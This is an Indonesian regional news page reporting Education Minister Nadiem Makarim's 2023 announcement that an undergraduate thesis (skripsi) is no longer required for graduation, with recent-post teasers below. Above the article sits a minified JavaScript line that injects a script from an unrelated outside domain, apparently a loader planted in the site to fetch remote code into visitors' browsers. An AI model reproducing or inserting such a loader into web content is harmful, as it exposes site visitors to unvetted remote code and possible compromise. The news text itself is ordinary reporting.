(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Nadiem Makarim Sebut Skripsi Tak Lagi Wajib untuk Kelulusan Mahasiswa


KANALKALIMANTAN.COM, JAKARTA – Menteri Pendidikan, Kebudayaan, Riset dan Teknologi (Mendikbud Ristek) Nadiem Makarim mengumumkan kalau mahasiswa tidak perlu lagi menyusun skripsi sebagai syarat kelulusan.

Menurutnya, banyak metode yang bisa mengukur kompetensi mahasiswa di masa akhir studinya.

Hal tersebut disampaikan Nadiem dalam diskusi Merdeka Belajar Episode 26: Transformasi Standar Nasional dan Akreditasi Pendidikan Tinggi, Selasa (29/8/2023).

Baca juga: Lepas 1.300 Lulusan, Rektor ULM: Catatan Kosong Kita Belum Punya Program Studi Terakreditasi Internasional

Nadiem meluruskan sesuai dengan ketentuan yang tertuang dalam Peraturan Menteri Pendidikan, Kebudayaan, Riset, dan Teknologi (Permendikbudristek) No 53 Tahun 2023 tentang Penjaminan Mutu Pendidikan Tinggi.

Sehingga, syarat kelulusan tidak wajib skripsi melainkan diserahkan kembali kepada keputusan perguruan tinggi.

“Tugas akhir bisa berbentuk macam-macam, bisa berbentuk prototipe, proyek, bisa berbentuk lainnya, bukan hanya skripsi tesis dan disertasi. Keputusan ini ada di perguruan tinggi,” kata Nadiem.

Baca juga: Hasil Tangan Komunitas Rajut Banjarbaru Binaan PLN Tembus Pasar Eropa

Nadiem menegaskan bahwa untuk mengukur syarat kelulusan itu, perguruan tinggi tidak hanya menggunakan satu cara saja. Sebab, ia menilai kalau kompetensi dari mahasiswa itu justru bisa diukur melalui cara lain.

“Ada berbagai macam prodi yang mungkin cara kita menunjukan kompetensinya dengan cara lain. Apalagi yang vokasi, Ini udah sangat jelas, kalau kita mau lihat kompetensi seorang dalam satu bidang yang technical apakah karya ilmiah adalah cara yang tepat untuk mengukur technical skill itu?” ungkapnya.

Ketentuan itu berlaku untuk mahasiswa S1 dan D4. Sementara menurut Nadiem, mahasiswa S2 dan S3 tetap harus membuat tesis.

Baca juga: Korupsi Dana BOS SMAN 1 Jorong Penyedia Dituntut 1 Tahun 9 Bulan Penjara

Kendati demikian, tesis yang mereka buat itu tidak wajib untuk diterbitkan ke jurnal.

“Untuk magister S2, S3 ini terapan, wajib itu diberikan tugas akhir.Jadi buat mereka masih ya. Tapi tida lagi wajib diterbitkan di jurnal,” terangnya. (Suara.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

6 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

7 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

7 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

11 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

13 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

13 jam ago

This website uses cookies.